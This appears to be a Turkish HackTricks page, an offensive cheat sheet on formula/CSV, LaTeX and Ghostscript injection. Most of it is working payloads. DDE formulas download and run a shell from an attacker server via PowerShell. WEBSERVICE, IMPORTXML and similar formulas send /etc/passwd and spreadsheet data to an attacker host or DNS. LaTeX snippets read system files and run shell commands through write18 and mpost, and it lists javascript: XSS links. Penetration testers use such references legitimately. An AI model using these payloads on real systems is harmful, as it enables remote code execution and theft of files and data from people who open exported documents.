Formula/CSV/Doc/LaTeX/GhostScript Injection
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Formula Injection
Bilgi
Eğer girdi CSV dosyası içinde yansıtılıyorsa (veya muhtemelen Excel tarafından açılacak başka bir dosya), kullanıcı dosyayı açtığında veya kullanıcı excel sayfasındaki bazı bağlantılara tıkladığında çalıştırılacak Excel formülleri ekleyebilirsiniz.
caution
Günümüzde Excel, dışarıdan bir şey yüklendiğinde kullanıcıyı uyarır (birkaç kez) ve bu, kötü niyetli eylemleri önlemek içindir. Bu nedenle, son yükleme için Sosyal Mühendislik üzerine özel bir çaba sarf edilmelidir.
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
Aşağıdaki örnek, son excel sayfasından içerik sızdırmak ve rastgele konumlara istekler yapmak için çok faydalıdır. Ancak, kullanıcının bağlantıya tıklaması (ve uyarı istemlerini kabul etmesi) gerekmektedir.
Aşağıdaki örnek https://payatu.com/csv-injection-basic-to-exploit adresinden alınmıştır.
Bir Öğrenci Kayıt Yönetim sisteminde bir güvenlik açığının CSV enjeksiyon saldırısı ile istismar edildiğini hayal edin. Saldırganın temel amacı, öğretmenlerin öğrenci bilgilerini yönetmek için kullandığı sistemi tehlikeye atmaktır. Yöntem, saldırganın uygulamaya kötü niyetli bir yük enjekte etmesini içerir; özellikle öğrenci bilgileri için tasarlanmış alanlara zararlı formüller girerek. Saldırı şu şekilde gelişir:
- Kötü Niyetli Yükün Enjeksiyonu:
- Saldırgan, bir öğrenci detay formu gönderir ancak genellikle elektronik tablolarında kullanılan bir formül ekler (örneğin,
=HYPERLINK("<malicious_link>","Click here")
). - Bu formül, bir hiperlink oluşturmak için tasarlanmıştır, ancak saldırganın kontrolündeki kötü niyetli bir sunucuya işaret eder.
- Tehlikeye Atılan Verilerin Dışa Aktarılması:
- Öğretmenler, tehlikeden habersiz, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır.
- CSV dosyası açıldığında, hala kötü niyetli yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir hiperlink olarak görünür.
- Saldırının Tetiklenmesi:
- Bir öğretmen, öğrencinin detaylarının meşru bir parçası olduğunu düşünerek hiperlinke tıklar.
- Tıkladığında, hassas veriler (potansiyel olarak elektronik tablodan veya öğretmenin bilgisayarından gelen detaylar) saldırganın sunucusuna iletilir.
- Verilerin Kaydedilmesi:
- Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder.
- Saldırgan, bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, böylece öğrencilerin ve kurumun gizliliği ve güvenliği daha da tehlikeye atılır.
RCE
Daha fazla ayrıntı için orijinal gönderiyi kontrol edin.
Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değişimi (DDE) adı verilen bir özellik, rastgele komutlar çalıştırmak için istismar edilebilir. Bunu kullanmak için aşağıdaki ayarların etkinleştirilmesi gerekir:
- Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Harici İçerik'e gidin ve Dinamik Veri Değişimi Sunucu Başlatma seçeneğini etkinleştirin.
Kötü niyetli yükü içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), yük çalıştırılır. Örneğin, hesap makinesi uygulamasını başlatmak için yük şöyle olacaktır:
=cmd|' /C calc'!xxx
Ekstra komutlar da çalıştırılabilir, örneğin bir dosyayı PowerShell kullanarak indirmek ve çalıştırmak:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc, yerel dosyaları okumak ve verileri dışarı aktarmak için kullanılabilir. İşte bazı yöntemler:
- Yerel
/etc/passwd
dosyasının ilk satırını okuma:='file:///etc/passwd'#$passwd.A1
- Okunan verileri saldırgan kontrolündeki bir sunucuya dışarı aktarma:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Birden fazla satırı dışarı aktarma:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS dışarı aktarma (okunan verileri saldırgan kontrolündeki bir DNS sunucusuna DNS sorguları olarak gönderme):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets, OOB veri dışarı aktarmak için istismar edilebilecek işlevler sunar:
- CONCATENATE: Dize birleştirir -
=CONCATENATE(A2:E2)
- IMPORTXML: Yapılandırılmış veri türlerinden veri alır -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: RSS veya ATOM beslemelerini alır -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: HTML tablolarından veya listelerinden veri alır -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Başka bir elektronik tablodan bir hücre aralığını alır -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Bir hücreye resim ekler -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX Injection
Genellikle internette LaTeX kodunu PDF'ye dönüştüren sunucular pdflatex
kullanır.
Bu program, komut yürütmeyi (dis)engellemek için 3 ana özellik kullanır:
--no-shell-escape
:\write18{command}
yapısını devre dışı bırakır, texmf.cnf dosyasında etkin olsa bile.--shell-restricted
:--shell-escape
ile aynı, ancak önceden tanımlanmış 'güvenli' bir komut seti ile sınırlıdır (**Ubuntu 16.04'te liste/usr/share/texmf/web2c/texmf.cnf
içindedir).--shell-escape
:\write18{command}
yapısını etkinleştirir. Komut herhangi bir shell komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaktır.
Ancak, komutları yürütmenin başka yolları da vardır, bu nedenle RCE'yi önlemek için --shell-restricted
kullanmak çok önemlidir.
Read file
Enjeksiyonu [ veya $ gibi sarmalayıcılarla ayarlamanız gerekebilir.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Tek satırlık dosyayı oku
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Çok satırlı dosyayı oku
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Dosya yaz
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Komut yürütme
Komutun girişi stdin'e yönlendirilecektir, bunu almak için geçici bir dosya kullanın.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Eğer herhangi bir LaTex hatası alırsanız, kötü karakterler olmadan sonucu almak için base64 kullanmayı düşünün.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
@EdOverflow tarafından
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
Kontrol Et https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Referanslar
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.